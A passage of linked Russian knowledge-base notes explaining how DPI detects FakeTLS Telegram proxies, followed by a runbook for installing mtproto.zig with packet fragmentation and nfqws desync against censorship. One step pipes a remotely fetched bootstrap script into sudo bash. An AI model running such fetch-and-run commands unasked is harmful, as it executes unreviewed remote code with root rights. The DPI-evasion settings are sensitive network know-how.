определены **приложением Telegram**. Серверный прокси не может задним числом переписать уже ушедший пакет. Единственный способ изменить то, что видит цензор, — встать **между Telegram и цензором**, то есть **на устройстве пользователя** (локальный relay) или в его локальной сети. Именно поэтому тестовый relay из gist — **локальный**: Telegramконнектится к нему на `localhost`, relay строит **свой** свежий ClientHello (с ротацией SNI и новым JA4) и уже его отправляет наружу. | Действие | Где возможно | Серверный прокси | |---|---|---| | Сменить **JA4** ClientHello | только client-side (до цензора) | ❌ невозможно | | Ротировать **SNI** на каждое соединение | только client-side (SNI зашит в ссылке рядом с `ee`-секретом = `tls_domain` прокси, не выводится из секрета) | ❌ один неизменный `tls_domain` | | Сломать «залп на один ip:port» | можно и на сервере | ⚠️ частично | --- ## Что МОЖЕТ серверный прокси против этой детекции Только третье условие — «несколько ClientHello одновременно на один ip:port»: - **Лимит SYN-ACK / pacing** — растягивает «залп» по времени (разбор и per-port вариант — в [[Zapret/mtproto/10-telemt-logs-dpi|10-telemt-logs-dpi]]). - **Разные порты / IPv6-hopping** — размывает «один ip:port». - **Разные домены разным юзерам** — размывает «один SNI» между пользователями (но это не ротация на одного юзера — у каждого `ee`-секрет фиксирует один SNI). Это частичные меры: детект — «И» трёх условий, так что слом даже одного помогает. Но **чистый слом (JA4/SNI) серверу недоступен.** --- ## Можно ли на Zig **Да — но как отдельный клиентский relay**, а не как серверный mtproto.zig. Zig для этого подходит: статический бинарь, лёгкая кросс-компиляция под Windows/Linux. Такой relay должен: - слушать `localhost`, принимать соединение от клиента Telegram; - на **каждое** соединение строить свежий FakeTLS-ClientHello: GREASE, **ML-KEM key_share** (post-quantum — заодно лечит протухший почерк #30733), тасовка расширений, HMAC секрета в `client_random`; - **ротировать SNI из списка реальных доменов** (см. оговорку про A-запись выше); - форвардить на апстрим-MTProxy. > [!note] Переиспользуемый код в mtproto.zig > В проекте mtproto.zig уже есть TLS-обвязка (`src/protocol/tls.zig`, генерация обфусцированного хендшейка `e2e_obf_handshake_gen.zig`) — из неё можно собрать такой клиентский relay. Но **серверный бинарь применить это к входящему трафику не может** — см. раздел выше про сторону клиента. > [!tip] Тот же принцип уже воплощён рядом — в VLESS > Свой Zig-relay — не единственное воплощение идеи «почерк генерит клиент». Для VLESS уже есть инструменты, которые вместо *имитации* берут **подлинный сетевой стек браузера** (NaiveProxy на cronet) или вообще **реально установленный браузер** (XHTTP + Browser Dialer в Xray) — почерк там аутентичный и свежий, без uTLS-попугайства. > > ⚠️ Но это **другой протокол-стек**: они строят браузерный HTTPS/VLESS-ClientHello, а **не** FakeTLS-MTProto (нет HMAC секрета прокси в `client_random`), поэтому к MTProxy as-is **не подключаются**. Ценен здесь сам **подход** (подлинный почерк со стороны клиента), а не готовый MTProxy-клиент. Разбор и сравнение — [[VLESS/dpi-tls-june-2026#Альтернатива uTLS-пресетам: реальный стек Chromium (naive/cronet)|в заметке про «сибирскую» схему]]. --- ## Миф: «в teleproxy JA4 решён» teleproxy — **серверный** прокси (язык C), запускается на VPS, **без клиентского компонента**: пользователи подключаются к нему обычным клиентом по ссылке/QR. В его README речь идёт о **статичном** Chrome-профиле (517-байтный ClientHello, 15 расширений, GREASE, X25519, padding) на уровне JA3-имитации — **ни статической, ни динамической работы именно с JA4, ни ротации SNI там нет**. Есть только FakeTLS-камуфляж и форвард неизвестного SNI на реальный бэкенд (защита от активного зондирования). Вывод: по архитектуре и **собственной документации** teleproxy **не меняет и не ротирует входящий JA4** официального клиента Telegram — как и любой серверный прокси. > [!quote] Из доков самого teleproxy (`docs/features/dpi-resistance.md`) > *«The primary detection vector is the Telegram client's TLS fingerprint, which **cannot be fixed server-side**… The Telegram app controls the byte-for-byte content of the ClientHello. Server-side proxy code cannot alter what the client puts on the wire.»* ### Почему конфиг teleproxy всё же «работает» — и это НЕ смена JA4 Три причины, ни одна из которых не меняет почерк: 1. **Фрагментация ClientHello через MSS-clamp.** teleproxy ставит `TCP_MAXSEG=256` (`src/net/net-events.c`), чтобы клиент порезал ClientHello на несколько TCP-сегментов: ALPN и signature_algorithms (входы JA4) уезжают во 2-3 сегмент, и DPI, считающий JA4 из **первого** пакета, получает неверный хеш. **Сам JA4 при этом не меняется** — ТСПУ просто не может его извлечь. ⚠️ Против DPI с **полной пересборкой** TCP-потока это не спасёт (об этом прямо сказано в доках teleproxy). Это ровно тот же приём, что [[mtproxy/mtproto-zig-setup#Шаг 4. TCPMSS — дробление ClientHello|TCPMSS в mtproto.zig]] (там MSS=88 — даже агрессивнее) и [[Zapret/mtproto/11-telemt-server-setup#Шаг 4. Конфиги инстансов|`client_mss="tspu"` в telemt]] (MSS=92). 2. **Чистая зарубежная подсеть VPS** + малый трафик — остальные условия детекта не складываются (см. «И трёх условий» выше). 3. **`SOCKS5_PROXY` + `DIRECT_MODE`** — маршрут **исходящего** трафика VPS→DC через Xray (egress), по обфусцированному MTProto-транспорту к дата-центрам (не TLS). Ко **входящему** ClientHello (где живёт JA4) отношения не имеет. Итого «решение JA4 в teleproxy» = **фрагментация + чистый IP + egress через Xray**, а не смена почерка. Чистая смена/ротация JA4 и SNI остаётся **клиентской** задачей. --- ## 📚 См. также - [[mtproxy/tdlib-obf-client-side-stealth|tdlib-obf — клиентский TDLib с маскировкой JA4]] — готовое клиентское воплощение этого тезиса: форк библиотеки клиента строит свежий браузерный ClientHello (PQ-профили) внутри себя, без отдельного relay - [[mtproxy/tsrman-tg-android-faketls|tsrman/tg — Telegram для Android со сменой JA4]] — то же воплощение в виде **готового приложения** (форк официального Telegram-Android): меняет JA4 на Firefox-подобный и разносит коннекты джиттером - [[mtproxy/telegram-wss-transport|WSS: MTProto внутри WebSocket]] — третий путь мимо спора о почерке: соединение уходит не на адрес датацентра, а на веб-релей Telegram по 443, где TLS-рукопожатие уже настоящее - [[mtproxy/mtproto-zig|MTProxy и mtproto.zig]] — как устроен FakeTLS-прокси, почему почерк фиксирован и узнаваем - [[mtproxy/faketls-relay-diagnosis|Релей или клиент: диагностика FakeTLS]] — измеренные требования релеев к ClientHello (длина, метка времени, повторы) и как проверить их снаружи - [[mtproxy/mtproto-zig-setup|Настройка mtproto.zig (runbook)]] — серверные меры (TCPMSS, SYN-ACK, домен) - [[Zapret/mtproto/10-telemt-logs-dpi|Чтение логов и лимит SYN-ACK]] — детект DPI по логам, per-port pacing - [[Zapret/mtproto/11-telemt-server-setup|telemt в продакшн]] — `client_mss="tspu"` (MSS=92) и UFW rate-limit как практический пример этих мер - [[Zapret/mtproto/05-censorship|ТСПУ: каскад детекции MTProto]] - [[VLESS/dpi-tls-june-2026|Сибирская схема: подсеть + фингерпринт + частота]] — та же логика «И трёх условий» и про uTLS/свежесть почерка - 🔗 [Тестовый клиентский relay (gist, Flowseal)](https://gist.github.com/Flowseal/de630dd9d9ddaa86cc6bed9b473fae0c) — смена JA4 + ротация SNI - 🔗 [tdesktop#30733](https://github.com/telegramdesktop/tdesktop/issues/30733) — протухший фингерпринт клиента --- --- date: 2026-06-07 tags: - mtproto - mtproxy - mtproto-zig - setup - dpi - tspu aliases: - Настройка mtproto.zig - mtproto.zig setup - MTProxy runbook link: https://github.com/sleep3r/mtproto.zig --- # 🛠️ Настройка MTProxy на mtproto.zig — пошагово и «что происходит на проводе» > [!info] Что это и для кого > Практический **runbook**: как поднять MTProxy на [[mtproxy/mtproto-zig|mtproto.zig]] и **понимать, что делает каждый слой защиты** — с учётом свежих наблюдений (протухший фингерпринт клиента из [tdesktop#30733](https://github.com/telegramdesktop/tdesktop/issues/30733), детект по `expected_64_got_0`, приёмы TCPMSS и SYN-ACK). > > Теория и «почему» — в обзорной статье [[mtproxy/mtproto-zig|MTProxy и mtproto.zig]]. Здесь — команды, конфиг и диагностика. > [!tip] Почему mtproto.zig, а не telemt > Оба — хорошие FakeTLS-прокси. `mtproto.zig` берут, когда нужен **обход DPI «под ключ»**: он сам ставит TCPMSS-дробление + nfqws-desync + nginx-маскировку одной командой, без ручного iptables. telemt — когда нужен REST API для бота ([[Zapret/mtproto/02-implementations|сравнение]]). --- ## Шаг 0. Подготовка | Что | Как и почему | |---|---| | **VPS / подсеть** | Не «народный» хостинг (Selectel/Я.Облако — Сигнал 1 [[VLESS/dpi-tls-june-2026|сибирской схемы]]). Подбор — [[VPS/VPS\|VPS]]. | | **Домен маскировки** | Популярный, с **одним раундом x25519**: `rutube.ru`, `ozon.ru`, `vk.com`, `yandex.ru`. **НЕ** `wb.ru` и др. HRR/secp521r1. | | **Порт** | `443`. Любой другой подозрителен. | | **Доступ** | root/sudo на сервере. | > ⚠️ Домен вшивается в ссылку `tg://` и **неизменен** после раздачи. Выбирай один раз. --- ## Шаг 1. Установка ```bash # 1. bootstrap mtbuddy (проверяет minisign-подпись + SHA-256) curl -fsSL https://raw.githubusercontent.com/sleep3r/mtproto.zig/v1.10.3/deploy/bootstrap.sh | sudo bash # 2. установка прокси со всеми DPI-модулями sudo mtbuddy install --port 443 --domain rutube.ru --yes ``` Что делает install (`--no-dpi` отключает п.5–6): 1. Качает готовый бинарь (определяет CPU: `x86_64_v3` → `x86_64` → `aarch64`) 2. Генерит секрет (или `--secret <32hex>`) 3. systemd-сервис `mtproto-proxy` 4. Открывает порт в `ufw` 5. **TCPMSS=88** iptables (дробит ClientHello) ← см. Шаг 4 6. **nginx-маскировка + nfqws-desync** ← см. Шаг 5 7. Печатает `tg://`-ссылку Полезные флаги: `--secret`, `--user`, `--tcpmss ` (дефолт 88), `--no-tcpmss`, `--no-nfqws`, `--no-masking`, `--ipv6-hop`. --- ## Шаг 2. Конфиг `config.toml` Большинство — уже дефолты; фиксируем ключевое явно (`/opt/mtproto-proxy/config.toml`): ```toml [general] use_middle_proxy = true # медиа на не-Premium + promo-теги [server] port = 443 # rate_limit_per_subnet = 0 # ОСТАВЬ 0 для мобильных юзеров РФ (carrier-NAT) [censorship] tls_domain = "rutube.ru" # single-round x25519, неизменен после раздачи mask = true # форвард зондов на реальный домен (анти-probing) fake_tls_only = true # реджектить палевный dd-транспорт # desync = true # дефолт on — дробит ServerHello (1 байт + 3мс) drs = true # мимикрия размеров TLS-записей под браузер fast_mode = true [metrics] enabled = true # Prometheus /metrics (см. Шаг 6 — диагностика) host = "127.0.0.1" port = 9400 [access.users] user1 = "00112233445566778899aabbccddeeff" # openssl rand -hex 16 ``` После правки: `sudo systemctl restart mtproto-proxy` (SIGHUP-reload тоже есть, но при `workers>1` запрещён). --- ## Шаг 3. Что происходит на проводе (карта защит) ``` КЛИЕНТ (Telegram) ТСПУ СЕРВЕР (mtproto.zig) │ ── ClientHello (почерк!) ──────► 👁 фингерпринт ──────► снимает fp в лог │ │ (тут и блок #30733) │ ◄──────────── ServerHello (дроблён desync) ──────────── mask/desync/drs │ ── 64-байт MTProto-хендшейк ───► (если жив) ───────────► proxy → DC ``` | Слой | Что делает | Против чего | |---|---|---| | **TCPMSS=88** | клиент режет ClientHello на ~6 кусков | фингерпринт (DPI не пересобирает) | | **nfqws desync** | fake-пакеты + TTL-split (S→C) | stateful DPI | | **desync ServerHello** | 1 байт + 3мс + хвост | пассивные сигнатуры | | **mask** | зонды → реальный `tls_domain` | active probing | | **drs** | размеры записей как у браузера | статистика трафика | > [!danger] Слабое звено, которое сервер НЕ чинит — фингерпринт клиента > Почерк ClientHello (JA3/JA4) генерирует **приложение Telegram**, не сервер. По [tdesktop#30733](https://github.com/telegramdesktop/tdesktop/issues/30733): Desktop мимикрирует под **Chrome 134/macOS** (`t13d1516h2_8daaf6152771_d8a2da3f94cd`), а живой Chrome — 148 → пресет **протух**, и это маркер. Это **тот самый** блок, дающий `expected_64_got_0` ([[Zapret/mtproto/10-telemt-logs-dpi|разбор логов]]). > > Лечится только в самом Telegram. Всё, что может сервер — **спрятать/сломать опознание** этого почерка (TCPMSS, desync), а не поправить его. Поэтому Шаги 4–6 важны. --- ## Шаг 4. TCPMSS — дробление ClientHello ### Как работает Сервер анонсирует в `SYN-ACK` малый **MSS**, и клиент вынужден резать всё исходящее (включая ClientHello ~517 байт) на мелкие сегменты. DPI без потоковой пересборки не складывает почерк целиком → не матчит сигнатуру. В `mtproto.zig` включено по умолчанию (`TCPMSS=88`). Сменить значение: `mtbuddy install --tcpmss 96`. ### Вариант «через балансировщик» — помогает? > **Да, помогает.** Это тот же механизм. Если перед прокси стоит балансировщик (он терминирует клиентский TCP), MSS-clamp надо вешать **именно на балансировщик** — там рождается SYN-ACK к клиенту: > > ```bash > iptables -t mangle -A OUTPUT -p tcp --sport 443 \ > --tcp-flags SYN,ACK SYN,ACK -j TCPMSS --set-mss 96 > ``` > > Конфиг telemt/mtproto.zig при этом трогать не надо — правило работает на уровне ядра. Почему «на балансировщике»: clamp на бэкенде (где сидит сам прокси) **не дойдёт** до клиента, если балансировщик пере-устанавливает TCP. Правило должно быть на той коробке, что шлёт SYN-ACK клиенту. > [!note] 88 или 96 — разница невелика > Оба дают ~6 сегментов на ClientHello. mtproto.zig по умолчанию 88; совет из интернета — 96. Бери любое; если ставишь mtproto.zig напрямую (без отдельного балансировщика) — **TCPMSS уже стоит, дублировать руками не нужно**. > [!tip] Это и есть «решение JA4» из teleproxy > Когда говорят «в teleproxy решён JA4» — речь именно об этой фрагментации: teleproxy > ставит `TCP_MAXSEG=256`, чтобы DPI не извлёк JA4 из первого пакета. JA4 при этом > **не меняется** (его задаёт клиент). mtproto.zig делает то же самое и агрессивнее > (MSS=88), так что **этот приём у тебя уже включён**. Почему это не «смена почерка» > и где лежит настоящий фикс — [[mtproxy/ja4-sni-client-side|Кто может менять JA4/SNI]]. > [!warning] Дробление ≠ панацея > MSS-clamp бьёт по DPI, который **не пересобирает** поток. Если ТСПУ делает реассемблинг — одного дробления мало, нужен **desync** (nfqws, Шаг 5), который активно ломает пересборку fake-пакетами. Поэтому их ставят вместе. --- ## Шаг 5. nfqws TCP desync + тюнинг TTL Ставится при install. Стратегия: `--dpi-desync=fake,split2 --dpi-desync-ttl=6 --dpi-desync-fooling=md5sig` — fake-пакет с заниженным TTL (долетает до ТСПУ, умирает до клиента) + битая MD5-опция, чтобы сбить state-машину DPI. **TTL надо подтюнить под маршрут** (дефолт 6 не универсален, «4–8 для росс. ISP»): ```bash traceroute # прикинуть хоп, где сидит ТСПУ sudo mtbuddy nfqws --ttl 7 # переставить systemctl status nfqws-mtproto # проверить, что запущен ``` TTL должен быть **больше** расстояния до ТСПУ, но **меньше** расстояния до клиента. --- ## Шаг 5.5 (опционально). Egress через Xray/SOCKS5 или туннель Это аналог `SOCKS5_PROXY` + `DIRECT_MODE` из конфигов teleproxy: маршрут **исходящего** трафика прокси к дата-центрам Telegram через Xray/VLESS (SOCKS5) или WireGuard/AmneziaWG-туннель. ```toml [upstream] type = "socks5" # "direct" | "tunnel" | "socks5" | "http" [upstream.socks5] host = "127.0.0.1" port = 1080 # порт локального Xray/VLESS # username = "" # password = "" ``` Для туннеля вместо SOCKS5: ```toml [upstream] type = "tunnel" [upstream.tunnel] interfaces = ["awg0", "awg1"] # WireGuard/AmneziaWG, с авто-фолбэком ``` > [!important] Что это лечит, а что нет > Egress-маршрут помогает, когда **дата-центры Telegram недоступны с твоего VPS** > (заблокированы/режутся на пути proxy→DC), или нужен лишний хоп. Это путь > **сервер→DC** — на **входящий** ClientHello (где JA4, который видит ТСПУ у > клиента) он **не влияет**. Не путай: это про доступность DC, а не про обход > детекта почерка. См. [[mtproxy/ja4-sni-client-side|Кто может менять JA4/SNI]]. --- ## Шаг 6 (опционально). Лимит SYN-ACK — десинхрон + анти-залп **На пальцах:** сервер иногда «роняет» свой ответ при установке соединения (SYN-ACK), клиент переспрашивает через секунду. От этого DPI сбивается со счёта и не опознаёт почерк клиента, а соединения идут не пачкой, а по одному в секунду. Спорный, но у людей **рабочий** приём. Подробная механика (с аналогией), цена и **per-port** вариант (бюджет 1/сек на каждый порт, чтобы не калечить всех юзеров) — в [[Zapret/mtproto/10-telemt-logs-dpi#Лимит SYN-ACK — помогает или нет|разборе для telemt]] (для mtproto.zig всё идентично, только порт 443). Коротко: ставить стоит, если блок держится после Шагов 4–5; брать **сразу per-port**; мониторить логи (Шаг 7), чтобы поймать адаптацию ТСПУ. --- ## Шаг 7. Диагностика — mtproto.zig сам показывает атаку DPI ### Фингерпринт клиента в логах mtproto.zig **логирует почерк первых 16 ClientHello** (диагностический бюджет): ```bash journalctl -u mtproto-proxy | grep "client ClientHello" # client ClientHello [ciphers=... groups=... key_share=...] (we serve: ...) ``` > [!tip] Как связать с #30733 > Смотри `key_share` в логе. Свежий браузер шлёт **`X25519MLKEM768`** (post-quantum). Если твой клиент его **не** шлёт — он на старом пресете и попадает под детект из #30733. Это прямой способ увидеть «протух ли почерк» на своём трафике. ### Метрики close-reason — детектор начала блокировок mtproto.zig отдаёт Prometheus-метрику с причинами закрытия — её **всплеск = ТСПУ начал резать**: ```bash curl -s 127.0.0.1:9400/metrics | grep -E "close_reason|handshake_timeouts" # mtproto_connection_close_reason_total{reason="tls_validation_failed"} ... # mtproto_connection_close_reason_total{reason="replay_detected"} ... ← зонды Revisor # mtproto_connection_close_reason_total{reason="bad_handshake"} ... # mtproto_handshake_timeouts_total ... ← аналог expected_64_got_0 ``` Рост `tls_validation_failed` / `replay_detected` / `handshake_timeouts` над фоном — это и есть сигнал, что цензор начал работать по тебе (так и задумано разработчиком). `replay_detected` отдельно ловит **active-probe зонды ТСПУ (Revisor)**. Плюс есть веб-дашборд (порт 61208, Basic-auth, токен в `/opt/mtproto-proxy/monitor/dashboard.token`) — открывать **только через SSH-тоннель**. --- ## Когда всё-таки заблокировали — порядок действий 1. **Проверь логи/метрики** (Шаг 7): растёт ли `handshake_timeouts` / `tls_validation_failed`, и какой `key_share` у падающих клиентов. 2. **Подтюнь TTL nfqws** (Шаг 5) — частая причина, что desync «не достаёт» до ТСПУ. 3. **Снизь MSS** (`--tcpmss 80`) или добавь clamp на балансировщик (Шаг 4). 4. **Включи SYN-ACK per-port** (Шаг 6). 5. **Если рвётся путь до DC** (а не вход) — egress через Xray/SOCKS5 или туннель (Шаг 5.5). 6. **Смени узел/подсеть** (Сигнал 1) — если IP/диапазон попал под раздачу. 6. **Не дёргай настройки рефлекторно** под блоком — сам паттерн адаптации может усугубить. 7. **Запасной канал** — [[VLESS/dpi-tls-june-2026|VLESS+REALITY/XHTTP]] на отдельном узле. --- ## ✅ Чек-лист - [ ] VPS на «чистой» подсети, домен single-round x25519, порт 443 - [ ] `mask = true`, `fake_tls_only = true`, `drs = true` - [ ] `TCPMSS` активен (`iptables -t mangle -S OUTPUT | grep TCPMSS`) — или clamp на балансировщике - [ ] nfqws запущен, **TTL подтюнен** (`systemctl status nfqws-mtproto`) - [ ] `[metrics] enabled = true` + мониторинг `close_reason`/`handshake_timeouts` - [ ] Проверил `key_share` клиента в логах (свежесть почерка, #30733) - [ ] `rate_limit_per_subnet = 0` для мобильных юзеров РФ - [ ] Готов запасной VLESS/XHTTP --- ## 📚 См. также - [[mtproxy/ja4-sni-client-side|Кто может менять JA4/SNI]] — почему смена почерка/SNI возможна только на клиенте, что из мер ниже реально серверное - [[mtproxy/mtproto-zig|MTProxy и mtproto.zig]] — теория: как работает и почему - [[Zapret/mtproto/10-telemt-logs-dpi|Чтение логов и SYN-ACK лимит]] — детект DPI, per-port nft - 🔗 [tdesktop#30733](https://github.com/telegramdesktop/tdesktop/issues/30733) — протухший фингерпринт - [[Zapret/mtproto/05-censorship|ТСПУ: каскад детекции]] - [[Zapret/mtproto/02-implementations|5 реализаций MTProxy]] - [[VLESS/dpi-tls-june-2026|Сибирская схема DPI]] - [[VPS/VPS|Выбор VPS]] --- --- date: 2026-06-07 tags: - mtproto - mtproxy - dpi - tspu - faketls - zig aliases: - mtproto.zig - MTProxy на Zig - mtbuddy - Как работает MTProxy link: https://github.com/sleep3r/mtproto.zig --- # 🦎 MTProxy и mtproto.zig: что это, как работает и как пережить ТСПУ > [!info] О чём статья > Простым языком: что такое **MTProxy** (прокси для Telegram), что такое **FakeTLS**, по каким признакам его ловит DPI/ТСПУ, и какими техниками с этим борется проект **`mtproto.zig`** — современная реализация прокси, которая ставит обход «под ключ». В конце — готовые настройки и чек-лист. > > Материал **исследовательский и образовательный**: цель — понять механику, а не дать «волшебную галочку». > > 🛠️ Нужны конкретные команды и пошаговая настройка? → [[mtproxy/mtproto-zig-setup|Runbook: настройка mtproto.zig]]. --- ## TL;DR — если совсем коротко - **MTProxy** — это «дверь» к Telegram в обход блокировки. Телега умеет ходить через него нативно, ставить ничего не надо — достаточно ссылки `tg://`. - Современный режим — **FakeTLS**: прокси прикидывается обычным HTTPS-сайтом, чтобы DPI видел «человек зашёл на rutube.ru», а не «кто-то лезет в Telegram». - **FakeTLS — это камуфляж, а не невидимость.** Продвинутый DPI (ТСПУ) умеет его распознавать по нескольким признакам. - **`mtproto.zig`** наслаивает больше анти-DPI техник, чем другие прокси, и **сам** настраивает обход на уровне ОС (дробление пакетов + zapret). Почти всё включено по умолчанию. - Но против **поведенческого** DPI (см. [[VLESS/dpi-tls-june-2026|сибирскую схему]]) MTProxy слабее [[Zapret/mtproto/06-vs-vless|VLESS+REALITY]]. Держите оба: MTProxy — для Telegram «для своих», REALITY — основной канал. --- ## Часть 1. Что такое MTProxy и зачем он Представьте, что Telegram заблокирован: ваш интернет-провайдер не пускает трафик на серверы Telegram (их называют **DC** — дата-центры). MTProxy — это ваш личный сервер-посредник где-то в другом месте (на VPS). Телефон шлёт всё в Telegram **через него**, а уже он — в настоящие DC. Прелесть в том, что **поддержка прокси встроена в сам Telegram**. Не нужен отдельный VPN-клиент, не нужно ничего устанавливать: человек жмёт на ссылку вида `tg://proxy?...`, Telegram спрашивает «Подключиться?», и всё снова работает. > [!note] MTProto vs MTProxy > **MTProto** — это родной протокол шифрования Telegram. **MTProxy** (MTProto Proxy) — прокси, говорящий на этом протоколе. Не путать с обычным SOCKS5/HTTP-прокси: MTProxy «понимает» именно Telegram. ### Три режима — и почему важен только один Исторически у MTProxy три способа замаскировать трафик: | Режим | Что делает | Безопасность | |---|---|---| | **Classic** | голый обфусцированный MTProto | 🔴 ловится мгновенно по сигнатуре | | **Secure / dd** | + случайный паддинг, но **без TLS** | 🟠 всё ещё опознаётся как MTProto | | **FakeTLS / ee** | завёрнут в настоящий с виду **TLS 1.3** | 🟢 выглядит как обычный HTTPS | На практике сегодня имеет смысл **только FakeTLS** (ссылки-секреты начинаются с `ee`). Остальные DPI видит насквозь. --- ## Часть 2. Как работает FakeTLS — «на пальцах» Когда вы заходите на любой `https://`-сайт, ваш браузер и сервер сначала здороваются по протоколу **TLS**. Первое сообщение браузера называется **`ClientHello`** — это открытая «визитка»: какие шифры поддерживаю, какие расширения, на какой сайт иду (поле **SNI**). Сервер отвечает **`ServerHello`**. Только потом начинается шифрование. **FakeTLS притворяется этим рукопожатием.** Клиент Telegram шлёт на прокси пакет, который *выглядит* как обычный `ClientHello` (с SNI, например, `rutube.ru`), прокси отвечает правдоподобным `ServerHello` — и для DPI снаружи это «кто-то открыл rutube.ru по HTTPS». А внутри едет зашифрованный MTProto. > [!example] Аналогия > FakeTLS — это чемодан с идеальной наклейкой «турист едет в Сочи». Снаружи не отличить от настоящего. Но, как мы увидим, таможня (DPI) научилась смотреть не только на наклейку. --- ## Часть 3. Как ТСПУ ловит FakeTLS > ТСПУ — «Технические Средства Противодействия Угрозам», DPI-оборудование, установленное у российских операторов. Полный каскад его проверок — в [[Zapret/mtproto/05-censorship|05-censorship]] и [[DPI/dpi-analysis-pipeline|воронке проверок]]. Здесь — то, что бьёт именно по FakeTLS. ### Признак 1. Фингерпринт ClientHello (JA3/JA4) — главный Каждая программа собирает `ClientHello` по-своему: свой порядок шифров, свой набор расширений. Этот «почерк» сворачивают в хеш — **JA3** или **JA4**. По нему DPI понимает: «это Chrome 131» или «это клиент Telegram». Проблема: почерк FakeTLS-клиента Telegram **фиксированный и узнаваемый**. В нём нет тех мелочей, что есть у настоящего браузера (GREASE, ECH, post-quantum ключи — подробнее в [[VLESS/dpi-tls-june-2026|разборе про uTLS]]). DPI просто сверяет хеш со списком — и опознаёт прокси. > [!warning] Ключевой момент > Этот почерк генерирует **приложение Telegram на телефоне**, а не ваш сервер. Значит, **вы как владелец прокси не можете его поменять.** Нет аналога uTLS из REALITY, который умеет рядиться под Chrome. ### Признак 2. Активное зондирование (active probing) ТСПУ не только пассивно смотрит — он сам **стучится** на подозрительный сервер: «А ну-ка покажи, что ты за HTTPS». Если сервер на это отвечает как-то странно (молчит, рвёт соединение) вместо нормального TLS — значит, это не сайт, а прокси. Блок. ### Признак 3. Подсеть и ASN DPI смотрит, **откуда** соединение. Если SNI говорит «rutube.ru», а IP принадлежит дешёвому хостингу (Hetzner, Selectel) — это аномалия. В [[VLESS/dpi-tls-june-2026|сибирской схеме]] это вообще Сигнал №1. ### Признак 4. Поведение — частота и тайминги Самый современный слой. DPI смотрит не в пакет, а на **манеру**: сколько соединений, как часто, какие размеры пакетов. Прокси открывает залп коннектов к одному «домену» — живой человек так не делает. > [!summary] Итог раздела > FakeTLS пробивается через простой DPI («это TLS или нет?»), но против ТСПУ имеет **четыре уязвимых места**: почерк, зонды, подсеть, поведение. Дальше — чем `mtproto.zig` закрывает каждое. --- ## Часть 4. Чем `mtproto.zig` отвечает на каждый признак `mtproto.zig` — пятая независимая реализация MTProxy (после telemt/mtg/mtprotoproxy/mtproto_proxy, см. [[Zapret/mtproto/02-implementations|02-implementations]]), на языке **Zig**, с CLI-менеджером `mtbuddy`. Главное отличие: она **сама** ставит обход на уровне ОС, а не только проксирует. | Признак ТСПУ | Техника-ответ | Где включается | |---|---|---| | Фингерпринт ClientHello | **TCPMSS=88** — дробит ClientHello на куски | `mtbuddy install` (OS) | | Stateful DPI | **nfqws desync** (fake + split) | `mtbuddy install` (OS) | | Сигнатуры в потоке | **Split-TLS / desync** ServerHello | `config.toml` (дефолт on) | | Активное зондирование | **Масштировка (mask)** + anti-replay | `config.toml` (дефолт on) | | Статистика трафика | **DRS** — мимикрия размеров записей | `config.toml` | | Подсеть/бан IP | **IPv6-hopping** | флаг `--ipv6-hop` | ### 🔑 Хитрость №1: TCPMSS=88 — обойти «нельзя поменять ClientHello» Мы выяснили, что **содержимое** почерка изменить нельзя. Но можно сделать так, чтобы DPI **физически не увидел его целиком**. При установке соединения сервер сообщает клиенту максимальный размер пакета — **MSS**. Если выставить **MSS = 88 байт**, то клиентский телефон будет вынужден резать всё, что шлёт (включая `ClientHello` ~517 байт), на ~6 крошечных кусочков. DPI, который не собирает поток целиком (а это дорого, и многие не собирают), видит обрывки и **не может приложить сигнатуру** к разорванному почерку. > [!tip] Что это значит > Содержимое визитки то же — но она разрезана на 6 частей и приходит по очереди. Таможенник, который читает только первую часть, не может опознать «турист — это прокси». - Включено по умолчанию. Отключить: `--no-tcpmss`. Поменять: `--tcpmss `. ### 🔑 Хитрость №2: nfqws TCP desync (zapret) — обмануть stateful DPI `mtproto.zig` встраивает движок **zapret/nfqws** — тот же, что в [[Zapret/about|обходе для YouTube/Discord]]. Он манипулирует исходящими пакетами, чтобы у DPI «поехала» картина соединения: - **fake-пакет** — перед настоящим шлётся фальшивый «валидный» TLS, чтобы запутать машину состояний DPI; - **TTL-limited split** — у фейка специально занижен TTL (время жизни): он **долетает до ТСПУ, но умирает до настоящего клиента** (ТСПУ ближе). ТСПУ видит фейк и сбивается, клиент — нет; - **md5sig fooling** — к фейку добавляется «битая» TCP-опция: настоящие участники её отбрасывают, а простой парсер ТСПУ принимает в свой учёт. > [!warning] Важная настройка — TTL > По умолчанию TTL = `6`, но это **надо тюнить под вашего провайдера** (подсказка из проекта: «4–8 для большинства росс. ISP»). TTL должен быть больше расстояния до ТСПУ, но меньше расстояния до клиента. Прикинуть можно через `traceroute`. Поменять: `mtbuddy nfqws --ttl `. ### 🔑 Хитрость №3: Mask — защита от зондов Когда на прокси стучится **неаутентифицированный** клиент (нет правильного секрета — а значит, это либо ошибка, либо зонд ТСПУ), `mtproto.zig` с `mask=true` **молча перенаправляет** его на настоящий `tls_domain`. Зонд получает реальный TLS-ответ настоящего сайта и «верит», что перед ним обычный HTTPS-сервер. Дополнительно есть **anti-replay** и детект зондов **Revisor** (специфичных для ТСПУ). ### 🔑 Хитрость №4: правильный домен (`tls_domain`) Прокси в `ServerHello` притворяется конкретным сайтом. Важно выбрать домен, чьё поведение прокси реально может повторить: - ✅ Берите популярные домены с **одним раундом x25519**: `rutube.ru`, `ozon.ru`, `vk.com`, `yandex.ru`. - ❌ Избегайте доменов с HRR/secp521r1 (например `wb.ru`) — упрощённый FakeTLS их не повторит, и получится аномалия. - ⚠️ Домен **вшивается в ссылку** `tg://` и его **нельзя менять** после раздачи. --- ## Часть 5. Настройки — что куда ставить > [!important] Главное про конфиг > Почти вся защита включена **по умолчанию**. В `config.toml` осознанно трогаете три вещи (`tls_domain`, `mask`, `fake_tls_only`). А **TCPMSS и nfqws — это уровень ОС**, они ставятся флагами `mtbuddy install`, а не в `config.toml`. ### Установка «под ключ» ```bash # Всё включено: FakeTLS + TCPMSS=88 + nginx-masking + nfqws desync sudo mtbuddy install --port 443 --domain rutube.ru --yes # Со своим секретом и юзером sudo mtbuddy install --port 443 --domain rutube.ru --secret <32hex> --user alice --yes ``` Полезные DPI-флаги: `--tcpmss ` (дефолт 88), `--no-tcpmss`, `--no-nfqws`, `--no-masking`, `--ipv6-hop`, `--no-dpi` (выключить всё). ### Рекомендуемый `config.toml` Большинство строк — уже дефолты; фиксируем ключевые явно. ```toml [general] use_middle_proxy = true # нужно для медиа на не-Premium и promo-тегов [server] port = 443 # любой другой порт подозрителен # rate_limit_per_subnet = 0 # ОСТАВЬ 0 для мобильных юзеров РФ (carrier-NAT): # иначе зарубишь реальных людей на одной 